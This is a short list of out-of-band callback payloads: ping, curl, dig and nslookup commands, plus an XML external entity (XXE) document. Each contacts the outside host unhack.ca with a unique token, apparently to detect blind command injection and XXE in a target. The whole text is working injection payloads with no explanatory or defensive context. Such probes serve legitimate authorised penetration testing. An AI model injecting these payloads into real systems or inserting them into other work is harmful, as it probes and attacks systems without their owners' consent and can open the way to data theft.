$ ping -c1 -p 0081897859d0500ede9dcf73facea300 unhack.ca
$ curl http://unhack.ca/p/81897859d0500ede9dcf73facea3
$ dig 81897859d0500ede9dcf73facea3 @unhack.ca
$ dig 81897859d0500ede9dcf73facea3.ns.unhack.ca
C:\> nslookup 81897859d0500ede9dcf73facea3 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/81897859d0500ede9dcf73facea3">]> <foo>&xxe;</foo>